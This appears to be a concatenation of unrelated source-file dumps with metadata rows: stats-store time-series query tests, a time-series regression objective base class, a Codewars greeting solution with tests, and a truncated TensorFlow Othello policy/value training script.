process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) stats_data = self.stats_store.MultiReadStats(process_ids=["pid1", "pid2"]) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid1").In("counter").SeriesCount(), 1) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid2").In("counter").SeriesCount(), 1) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid.*").In("counter").SeriesCount(), 2) def testInTimeRangeLimitsQueriesByTime(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(100), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(140), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Check that InTimeRange works as expected. query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().InTimeRange( rdfvalue.RDFDatetime().FromSecondsFromEpoch(80), rdfvalue.RDFDatetime().FromSecondsFromEpoch(120)).ts self.assertListEqual(list(ts), [2]) self.assertListEqual(list(ts.index), [pandas.Timestamp(100 * 1e9)]) def testInTimeRangeRaisesIfAppliedBeforeTakeMethod(self): stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(RuntimeError, query.In("counter").InTimeRange, rdfvalue.RDFDatetime().FromSecondsFromEpoch(80), rdfvalue.RDFDatetime().FromSecondsFromEpoch(120)) def testTakeValueUsesPlainValuesToBuildTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(100), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Get time series generated with TakeValue(). query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().ts self.assertListEqual(list(ts), [1, 2]) self.assertListEqual(list(ts.index), [pandas.Timestamp(42 * 1e9), pandas.Timestamp(100 * 1e9)]) def testTakeValueRaisesIfDistributionIsEncountered(self): # Initialize and write test data. stats.STATS.RegisterEventMetric("events") stats.STATS.RecordEvent("events", 42) self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(ValueError, query.In("events").TakeValue) def testTakeDistributionCountUsesDistributionCountsToBuildTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterEventMetric("events") stats.STATS.RecordEvent("events", 42) self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) stats.STATS.RecordEvent("events", 43) self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(100), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("events").TakeDistributionCount().ts self.assertListEqual(list(ts), [1, 2]) self.assertListEqual(list(ts.index), [pandas.Timestamp(42 * 1e9), pandas.Timestamp(100 * 1e9)]) def testTakeDistributionCountRaisesIfPlainValueIsEncountered(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(ValueError, query.In("counter").TakeDistributionCount) def testTakeDistributionSumUsesDistributionSumsToBuildTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterEventMetric("events") stats.STATS.RecordEvent("events", 42) self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) stats.STATS.RecordEvent("events", 43) self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(100), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("events").TakeDistributionSum().ts self.assertListEqual(list(ts), [42, 85]) self.assertListEqual(list(ts.index), [pandas.Timestamp(42 * 1e9), pandas.Timestamp(100 * 1e9)]) def testTakeDistributionSumRaisesIfPlainValueIsEncountered(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(ValueError, query.In("counter").TakeDistributionSum) def testResampleCallResamplesTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(15), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(45), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).ts self.assertAlmostEqual(ts[0], 1.5) self.assertAlmostEqual(ts[1], 3.0) self.assertListEqual(list(ts.index), [pandas.Timestamp(0 * 1e9), pandas.Timestamp(30 * 1e9)]) def testResampleCallDoesNotFillGaps(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(75), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).ts self.assertAlmostEqual(ts[0], 1.0) self.assertTrue(math.isnan(ts[1])) self.assertAlmostEqual(ts[2], 2.0) self.assertListEqual(list(ts.index), [pandas.Timestamp(0 * 1e9), pandas.Timestamp(30 * 1e9), pandas.Timestamp(60 * 1e9)]) def testResampleRaisesIfAppliedBeforeTakeMethod(self): stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(RuntimeError, query.In("counter").Resample, rdfvalue.Duration("30s")) def testFillMissingCallFillsGapsInTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(120), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).FillMissing(rdfvalue.Duration("60s")).ts self.assertAlmostEqual(ts[0], 1.0) self.assertAlmostEqual(ts[1], 1.0) self.assertAlmostEqual(ts[2], 1.0) self.assertAlmostEqual(ts[3], 2.0) self.assertAlmostEqual(ts[4], 2.0) self.assertListEqual(list(ts.index), [pandas.Timestamp(0 * 1e9), pandas.Timestamp(30 * 1e9), pandas.Timestamp(60 * 1e9), pandas.Timestamp(90 * 1e9), pandas.Timestamp(120 * 1e9)]) def testFillMissingRaisesIfAppliedBeforeTakeMethod(self): stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(RuntimeError, query.In("counter").FillMissing, 3) def testFillMissingRaisesIfTimeWindowIsNotDivisibleBySamplingInterval(self): stats_data = self.stats_store.ReadStats(process_id=self.process_id) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(RuntimeError, query.In("counter").TakeValue().Resample( rdfvalue.Duration("25s")).FillMissing, rdfvalue.Duration("60s")) def testAggregateViaSumAggregatesMultipleTimeSeriesIntoOne(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) stats_data = self.stats_store.MultiReadStats(process_ids=["pid1", "pid2"]) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("pid.*").In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).FillMissing( rdfvalue.Duration("10m")).AggregateViaSum().ts # We expect 2 time series in the query: # 1970-01-01 00:00:00 1 # 1970-01-01 00:00:30 1 # 1970-01-01 00:01:00 1 # 1970-01-01 00:01:30 3 # # and: # 1970-01-01 00:00:00 2 # 1970-01-01 00:00:30 2 # 1970-01-01 00:01:00 2 # 1970-01-01 00:01:30 3 # # Therefore we expect the sum to look like: # 1970-01-01 00:00:00 3 # 1970-01-01 00:00:30 3 # 1970-01-01 00:01:00 3 # 1970-01-01 00:01:30 6 self.assertAlmostEqual(ts[0], 3) self.assertAlmostEqual(ts[1], 3) self.assertAlmostEqual(ts[2], 3) self.assertAlmostEqual(ts[3], 6) self.assertListEqual(list(ts.index), [pandas.Timestamp(0 * 1e9), pandas.Timestamp(30 * 1e9), pandas.Timestamp(60 * 1e9), pandas.Timestamp(90 * 1e9)]) def testAggregateViaSumAlignsMultipleTimeSeriesBeforeAggregation(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(50), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(50), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(150), sync=True) # After Resample and FillMissing call we end up with 2 time series: # 1970-01-01 00:00:00 1 # 1970-01-01 00:00:30 1 # # And: # 1970-01-01 00:00:30 1 # 1970-01-01 00:01:00 1 # 1970-01-01 00:01:30 1 # 1970-01-01 00:02:00 1 # 1970-01-01 00:02:30 1 # # Before they're agrregated, first time series should be interpolated # to contain all the timestamps that the second one contains. # Otherwise we'll get incorrect aggregation results. stats_data = self.stats_store.MultiReadStats(process_ids=["pid1", "pid2"]) query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("pid.*").In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).FillMissing( rdfvalue.Duration("10m")).AggregateViaSum().ts # Therefore we expect the sum to look like: # 1970-01-01 00:00:00 2 # 1970-01-01 00:00:30 2 # 1970-01-01 00:01:00 2 # 1970-01-01 00:01:30 2 # 1970-01-01 00:02:00 2 # 1970-01-01 00:02:30 2 self.assertAlmostEqual(ts[0], 2) self.assertAlmostEqual(ts[1], 2) self.assertAlmostEqual(ts[2], 2) self.assertAlmostEqual(ts[3], 2) self.assertAlmostEqual(ts[4], 2) self.assertAlmostEqual(ts[5], 2) self.assertListEqual(list(ts.index), [pandas.Timestamp(0 * 1e9), pandas.Timestamp(30 * 1e9), pandas.Timestamp(60 * 1e9), pandas.Timestamp(90 * 1e9), pandas.Timestamp(120 * 1e9), pandas.Timestamp(150 * 1e9)]) def testEnsureIsIncrementalHandlesValuesResets(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(30), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(60), sync=True) stats.STATS.RegisterCounterMetric("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) # We've reset the counter on 60th second, so we get following time series: # 1970-01-01 00:00:00 0 # 1970-01-01 00:00:30 1 # 1970-01-01 00:01:00 2 # 1970-01-01 00:01:30 0 stats_data = self.stats_store.ReadStats(process_id="pid1") query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Resample( rdfvalue.Duration("30s")).FillMissing( rdfvalue.Duration("10m")).ts self.assertAlmostEqual(ts[0], 0) self.assertAlmostEqual(ts[1], 1) self.assertAlmostEqual(ts[2], 2) self.assertAlmostEqual(ts[3], 0) # EnsureIsIncremental detects the reset and increments values that follow # the reset point: # 1970-01-01 00:00:00 0 # 1970-01-01 00:00:30 1 # 1970-01-01 00:01:00 2 # 1970-01-01 00:01:30 2 ts = query.EnsureIsIncremental().ts self.assertAlmostEqual(ts[0], 0) self.assertAlmostEqual(ts[1], 1) self.assertAlmostEqual(ts[2], 2) self.assertAlmostEqual(ts[3], 2) def testSeriesCountReturnsNumberOfDataSeriesInCurrentQuery(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) stats_data = self.stats_store.MultiReadStats(process_ids=["pid1", "pid2"]) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid.*").SeriesCount(), 2) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid1").In("counter").SeriesCount(), 1) query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("pid.*").In("counter").SeriesCount(), 2) def testRateAppliesRateRollingFunctionToSingleTimeSerie(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") for i in range(5): for _ in range(i): stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(10 * i), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Get time series generated with TakeValue(). query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Resample( rdfvalue.Duration("10s")).Rate(rdfvalue.Duration("30s")).ts # We expect following time serie: # 1970-01-01 00:00:00 0 # 1970-01-01 00:00:10 1 # 1970-01-01 00:00:20 3 # 1970-01-01 00:00:30 6 # 1970-01-01 00:00:40 10 # # Therefore we expect the following after applying Rate(): # 1970-01-01 00:00:30 0.2 # 1970-01-01 00:00:40 0.3 self.assertAlmostEqual(ts[0], 0.2) self.assertAlmostEqual(ts[1], 0.3) self.assertListEqual(list(ts.index), [pandas.Timestamp(30 * 1e9), pandas.Timestamp(40 * 1e9)]) def testScaleAppliesScaleFunctionToSingleTimeSerie(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(42), sync=True) stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(100), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Get time series generated with TakeValue(). query = stats_store.StatsStoreDataQuery(stats_data) ts = query.In("counter").TakeValue().Scale(3).ts self.assertListEqual(list(ts), [3, 6]) self.assertListEqual(list(ts.index), [pandas.Timestamp(42 * 1e9), pandas.Timestamp(100 * 1e9)]) def testMeanReturnsZeroIfQueryHasNoTimeSeries(self): # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Get time series generated with TakeValue(). query = stats_store.StatsStoreDataQuery(stats_data) self.assertEqual(query.In("counter").TakeValue().Mean(), 0) def testMeanRaisesIfCalledOnMultipleTimeSeries(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id="pid1", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(0), sync=True) self.stats_store.WriteStats( process_id="pid2", timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(90), sync=True) stats_data = self.stats_store.MultiReadStats(process_ids=["pid1", "pid2"]) query = stats_store.StatsStoreDataQuery(stats_data) self.assertRaises(RuntimeError, query.In("pid.*").In("counter").TakeValue().Mean) def testMeanReducesTimeSerieToSingleNumber(self): # Initialize and write test data. stats.STATS.RegisterCounterMetric("counter") for i in range(5): stats.STATS.IncrementCounter("counter") self.stats_store.WriteStats( process_id=self.process_id, timestamp=rdfvalue.RDFDatetime().FromSecondsFromEpoch(10 * i), sync=True) # Read data back. stats_data = self.stats_store.ReadStats(process_id=self.process_id) # Get time series generated with TakeValue(). query = stats_store.StatsStoreDataQuery(stats_data) self.assertAlmostEqual(query.In("counter").TakeValue().Mean(), 3) def main(argv): test_lib.main(argv) if __name__ == "__main__": flags.StartMain(main)
39.696491
79
0.671521
ee2f33b4342d24be437bad19986af1689bac8c69
396
py
Python
ml_source/src/blocktorch/blocktorch/objectives/time_series_regression_objective.py
blocktorch/blocktorch
044aa269813ab22c5fd27f84272e5fb540fc522b
[ "MIT" ]
1
2021-09-23T12:23:02.000Z
2021-09-23T12:23:02.000Z
ml_source/src/blocktorch/blocktorch/objectives/time_series_regression_objective.py
blocktorch/blocktorch
044aa269813ab22c5fd27f84272e5fb540fc522b
[ "MIT" ]
null
null
null
ml_source/src/blocktorch/blocktorch/objectives/time_series_regression_objective.py
blocktorch/blocktorch
044aa269813ab22c5fd27f84272e5fb540fc522b
[ "MIT" ]
null
null
null
"""Base class for all time series regression objectives.""" from .regression_objective import RegressionObjective from blocktorch.problem_types import ProblemTypes class TimeSeriesRegressionObjective(RegressionObjective): """Base class for all time series regression objectives.""" problem_types = [ProblemTypes.TIME_SERIES_REGRESSION] """[ProblemTypes.TIME_SERIES_REGRESSION]"""
33
63
0.80303
1bc06fbaf395428985b9e9527192910c089789f5
1,774
py
Python
Python/eight_kyu/greet_welcome.py
Brokenshire/codewars-projects
db9cd09618b8a7085b0d53ad76f73f9e249b9396
[ "Apache-2.0" ]
1
2019-12-20T04:09:56.000Z
2019-12-20T04:09:56.000Z
Python/eight_kyu/greet_welcome.py
Brokenshire/codewars-projects
db9cd09618b8a7085b0d53ad76f73f9e249b9396
[ "Apache-2.0" ]
null
null
null
Python/eight_kyu/greet_welcome.py
Brokenshire/codewars-projects
db9cd09618b8a7085b0d53ad76f73f9e249b9396
[ "Apache-2.0" ]
null
null
null
# Python solution for 'Welcome!' codewars question. # Level: 8 kyu # Tags: FUNDAMENTALS, HASHES, DATA STRUCTURES, amd OBJECTS. # Author: Jack Brokenshire # Date: 22/05/2020 import unittest def greet_welcome(language): """ Greets a given language in their language otherwise uses Welcome. :param language: string determining language to greet. :return: A greeting - if you have it in your database. It should default to English if the language is not in the database, or in the event of an invalid input. """ database = {'english': 'Welcome', 'czech': 'Vitejte', 'danish': 'Velkomst', 'dutch': 'Welkom', 'estonian': 'Tere tulemast', 'finnish': 'Tervetuloa', 'flemish': 'Welgekomen', 'french': 'Bienvenue', 'german': 'Willkommen', 'irish': 'Failte', 'italian': 'Benvenuto', 'latvian': 'Gaidits', 'lithuanian': 'Laukiamas', 'polish': 'Witamy', 'spanish': 'Bienvenido', 'swedish': 'Valkommen', 'welsh': 'Croeso'} if language not in database: return "Welcome" return database[language] class TestGreetWelcome(unittest.TestCase): """Class to test 'greet_welcome' function""" def test_greet_welcome(self): self.assertEqual(greet_welcome('english'), 'Welcome') self.assertEqual(greet_welcome('dutch'), 'Welkom') self.assertEqual(greet_welcome('IP_ADDRESS_INVALID'), 'Welcome') self.assertEqual(greet_welcome(''), 'Welcome') self.assertEqual(greet_welcome(2), 'Welcome') if __name__ == '__main__': unittest.main()
34.115385
117
0.583991
0c11823815c158eb4b0f7687322e3e1cd8d231bc
10,748
py
Python
learn/legacy/20211007/learn_record.py
Nyanyan/Egaroucid
f8a5a46466f59a528244f44d80b1aa2e6c76c651
[ "MIT" ]
2
2021-07-28T09:25:26.000Z
2021-08-22T14:44:21.000Z
learn/legacy/20211007/learn_record.py
Nyanyan/Egaroucid
f8a5a46466f59a528244f44d80b1aa2e6c76c651
[ "MIT" ]
null
null
null
learn/legacy/20211007/learn_record.py
Nyanyan/Egaroucid
f8a5a46466f59a528244f44d80b1aa2e6c76c651
[ "MIT" ]
null
null
null
import tensorflow as tf from tensorflow.keras.datasets import boston_housing from tensorflow.keras.layers import Activation, Add, BatchNormalization, Conv2D, Dense, GlobalAveragePooling2D, Input, concatenate, Flatten from tensorflow.keras.models import Sequential, Model, load_model from tensorflow.keras.callbacks import EarlyStopping, LearningRateScheduler, LambdaCallback from tensorflow.keras.optimizers import Adam #from keras.layers.advanced_activations import LeakyReLU from tensorflow.keras.regularizers import l2 from tensorflow.python.keras.utils.vis_utils import plot_model import numpy as np import matplotlib.pyplot as plt from tqdm import trange from random import random, randint, shuffle, sample import subprocess from math import exp from os import rename, path, listdir from time import time import datetime def LeakyReLU(x): return tf.math.maximum(0.01 * x, x) hw = 8 hw2 = 64 all_data = [] n_epochs = 1000 max_learn_data = 1000 game_num = 1000 game_strt = 0 use_ratio = 1.0 test_ratio = 0.15 n_additional_param = 15 n_boards = 3 kernel_size = 3 n_kernels = 32 n_residual = 2 leakyrelu_alpha = 0.01 n_train_data = int(game_num * (1.0 - test_ratio)) n_test_data = int(game_num * test_ratio) train_board = np.zeros((n_train_data * 60, hw, hw, n_boards)) train_param = np.zeros((n_train_data * 60, n_additional_param)) train_policies = np.zeros((n_train_data * 60, hw2)) train_value = np.zeros(n_train_data * 60) test_raw_board = [] test_board = [] test_param = [] test_policies = [] test_value = [] mean = [] std= [] ''' with open('param/mean.txt', 'r') as f: mean = np.array([float(i) for i in f.read().splitlines()]) with open('param/std.txt', 'r') as f: std = np.array([float(i) for i in f.read().splitlines()]) ''' #my_evaluate = subprocess.Popen('./evaluation.out'.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) def digit(n, r): n = str(n) l = len(n) for i in range(r - l): n = '0' + n return n def join_yx(y, x): return y * hw + x def calc_idx(i, j, rnd): if rnd == 0: return join_yx(i, j) elif rnd == 1: return join_yx(j, hw - 1 - i) elif rnd == 2: return join_yx(hw - 1 - i, hw - 1 - j) else: return join_yx(hw - 1 - j, i) def collect_data(num, use_ratio): global all_data score = -1000 grids = [] with open('learn_data/' + digit(num, 7) + '.txt', 'r') as f: point = float(f.readline()) score = 1.0 if point > 0.0 else -1.0 if point < 0.0 else 0.0 ln = int(f.readline()) for _ in range(ln): s, y, x = f.readline().split() y = int(y) x = int(x) if random() < use_ratio: grids.append([score, s, y, x]) ''' ln = int(f.readline()) for _ in range(ln): s, y, x = f.readline().split() y = int(y) x = int(x) if random() < use_ratio: grids.append([-score, s, y, x]) ''' for score, grid_str, y, x in grids: all_data.append([grid_str, y * hw + x, score]) def reshape_data_train(): global train_board, train_param, train_policies, train_value, mean, std tmp_data = [] print('calculating score & additional data') for itr in trange(len(all_data)): board, policy, score = all_data[itr] policies = [0.0 for _ in range(hw2)] policies[policy] = 1.0 ''' my_evaluate.stdin.write(board.encode('utf-8')) my_evaluate.stdin.flush() additional_data = my_evaluate.stdout.readline().decode().strip() ''' additional_data = None tmp_data.append([board, additional_data, policies, score]) #tmp_data.append([board, policies, score]) shuffle(tmp_data) ln = len(tmp_data) print('got', ln) print('creating train data & labels') train_idx = 0 for ii in trange(ln): board, param, policies, score = tmp_data[ii] #board, policies, score = tmp_data[ii] stone_num = 0 grid_space0 = '' grid_space0_rev = '' grid_space1 = '' grid_space1_rev = '' grid_space_fill = '' grid_space_vacant = '' for i in range(hw): for j in range(hw): idx = i * hw + j grid_space0 += '1 ' if board[idx] == '0' else '0 ' grid_space0_rev += '0 ' if board[idx] == '0' else '1 ' grid_space1 += '1 ' if board[idx] == '1' else '0 ' grid_space1_rev += '0 ' if board[idx] == '1' else '1 ' grid_space_vacant += '1 ' if board[idx] == '.' else '0 ' grid_space_fill += '0 ' if board[idx] == '.' else '1 ' stone_num += board[idx] != '.' if stone_num < 10 or stone_num > 56: continue grid_flat = [float(i) for i in (grid_space0 + grid_space1 + grid_space_vacant).split()] for i in range(hw): for j in range(hw): for k in range(n_boards): train_board[train_idx][i][j][k] = grid_flat[k * hw2 + j * hw + i] ''' for i, elem in zip(range(15), param.split()): train_param[train_idx][i] = float(elem) ''' for i in range(hw2): train_policies[train_idx][i] = policies[i] train_value[train_idx] = score train_idx += 1 train_board = train_board[0:train_idx] #train_param = train_param[0:train_idx] train_policies = train_policies[0:train_idx] train_value = train_value[0:train_idx] #mean = train_param.mean(axis=0) #std = train_param.std(axis=0) #print('mean', mean) #print('std', std) #train_param = (train_param - mean) / std ''' print(train_board[0]) print(train_param[0]) print(train_policies[0]) print(train_value[0]) ''' #print('train', train_board.shape, train_param.shape, train_policies.shape, train_value.shape) def reshape_data_test(): global test_board, test_param, test_policies, test_value, test_raw_board tmp_data = [] print('calculating score & additional data') for itr in trange(len(all_data)): board, policy, score = all_data[itr] policies = [0.0 for _ in range(hw2)] policies[policy] = 1.0 ''' my_evaluate.stdin.write(board.encode('utf-8')) my_evaluate.stdin.flush() additional_data = my_evaluate.stdout.readline().decode().strip() ''' additional_data = None tmp_data.append([board, additional_data, policies, score]) #tmp_data.append([board, policies, score]) shuffle(tmp_data) ln = len(tmp_data) print('got', ln) print('creating test data & labels') for ii in trange(ln): board, param, policies, score = tmp_data[ii] #board, policies, score = tmp_data[ii] stone_num = 0 grid_space0 = '' grid_space0_rev = '' grid_space1 = '' grid_space1_rev = '' grid_space_fill = '' grid_space_vacant = '' for i in range(hw): for j in range(hw): idx = i * hw + j grid_space0 += '1 ' if board[idx] == '0' else '0 ' grid_space0_rev += '0 ' if board[idx] == '0' else '1 ' grid_space1 += '1 ' if board[idx] == '1' else '0 ' grid_space1_rev += '0 ' if board[idx] == '1' else '1 ' grid_space_vacant += '1 ' if board[idx] == '.' else '0 ' grid_space_fill += '0 ' if board[idx] == '.' else '1 ' stone_num += board[idx] != '.' if stone_num < 10 or stone_num > 56: continue if stone_num < 10 or stone_num > 56: continue test_raw_board.append(board) #grid_flat = [float(i) for i in (grid_space0 + grid_space0_rev + grid_space1 + grid_space1_rev + grid_space_fill + grid_space_vacant).split()] grid_flat = [float(i) for i in (grid_space0 + grid_space1 + grid_space_vacant).split()] test_board.append([[[grid_flat[k * hw2 + j * hw + i] for k in range(n_boards)] for j in range(hw)] for i in range(hw)]) #test_param.append([float(i) for i in param.split()]) test_policies.append(policies) test_value.append(score) test_board = np.array(test_board) #test_param = np.array(test_param) test_policies = np.array(test_policies) test_value = np.array(test_value) #test_param = (test_param - mean) / std ''' print(test_board[0]) print(test_param[0]) print(test_policies[0]) print(test_value[0]) ''' #print('test', test_board.shape, test_param.shape, test_policies.shape, test_value.shape) ''' inputs = Input(shape=(hw, hw, n_boards,)) x = Conv2D(n_kernels, kernel_size, padding='same', use_bias=False)(inputs) x = LeakyReLU(x) for _ in range(n_residual): sc = x x = Conv2D(n_kernels, kernel_size, padding='same', use_bias=False)(x) x = Add()([x, sc]) x = LeakyReLU(x) x = GlobalAveragePooling2D()(x) yp = Dense(64)(x) yp = LeakyReLU(yp) yp = Dense(hw2)(yp) yp = Activation('softmax', name='policy')(yp) yv = Dense(32)(x) yv = LeakyReLU(yv) yv = Dense(16)(yv) yv = LeakyReLU(yv) yv = Dense(1)(yv) yv = Activation('tanh', name='value')(yv) model = Model(inputs=inputs, outputs=[yp, yv]) ''' model = load_model('param/best.h5') model.compile(loss=['categorical_crossentropy', 